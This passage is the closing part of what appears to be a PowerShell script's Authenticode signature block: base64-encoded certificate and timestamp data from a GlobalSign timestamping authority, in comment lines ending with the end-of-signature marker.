# tJ+HdpFzpjaBM/bT18ZD9m5Ao/731cwdnSjMpBRAFmmGEXz31fPub71gq8TueSRK
# B0Kk3NeXY6GCA4QwggOABgkqhkiG9w0BCQYxggNxMIIDbQIBATBzMF4xCzAJBgNV
# BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMTQwMgYDVQQDEytHbG9i
# YWxTaWduIE9mZmxpbmUgUjQ1IFRpbWVzdGFtcGluZyBDQSAyMDI1AhEAhHI/uDAN
# +6h1sztXzCY3gjALBglghkgBZQMEAgKgggFRMBgGCSqGSIb3DQEJAzELBgkqhkiG
# 9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTI2MTEwMjA0NTg0MVowKwYJKoZIhvcNAQk0
# MR4wHDALBglghkgBZQMEAgKhDQYJKoZIhvcNAQEMBQAwPwYJKoZIhvcNAQkEMTIE
# MHPmT8Pkkaes05pNed9GkM1aePY8iud3ZVSZzXyoowPnzJXYs7ZvRaPIXZm0EWRC
# dzCBqAYLKoZIhvcNAQkQAgwxgZgwgZUwgZIwgY8EFB0kvxmra4s/HJGmWMXTVGSB
# I50uMHcwYqRgMF4xCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52
# LXNhMTQwMgYDVQQDEytHbG9iYWxTaWduIE9mZmxpbmUgUjQ1IFRpbWVzdGFtcGlu
# ZyBDQSAyMDI1AhEAhHI/uDAN+6h1sztXzCY3gjANBgkqhkiG9w0BAQwFAASCAYAz
# 9JxqP9u0PxqHunHZWQ4Ybc2T2gFyww/ERKwiNrAlwxwthE4VP0lIKb+Y8/iHIBYk
# Rn/vboXgcJHG7g9aPMYIsFcD68NtxANd4nGHQawN1WM4QJ04MBtQhcZJJM6aVuLD
# Y1KcfHqaOrsfIb8BcofCAuq2bFSBBDfDGtbn2S7KHs1veOPfl7nK8nTIYSzpKr1A
# pKPVfsKWshbAaMU8wbySFbjP/y2mJugOt//02x+dfxWQfRqI3R0XzDH0Iz4JSxX/
# FSGXfpJj5WSHIrYeIM1LTKPd3QVWByif5odRDjoxi2j9ZuXtLMMUHh3xxoCKoz6R
# JcM581GFDAdc5klQXCk9pZ+wGFpNILZvIEDvoKQgKk2+qB9l3zWRF3Z8P2500Y9F
# 3rVHfSMShg4XjgxxgJJxgcqkakLWPAllasebE3K7SFX4hydr4TU1TRycXD1+bcFU
# J+RArpw5vRNtkJBxf+XD+zwQevnaxX+nuNjylxwq14dr4/zkTcSAyk0Ic4a2008=
# SIG # End signature block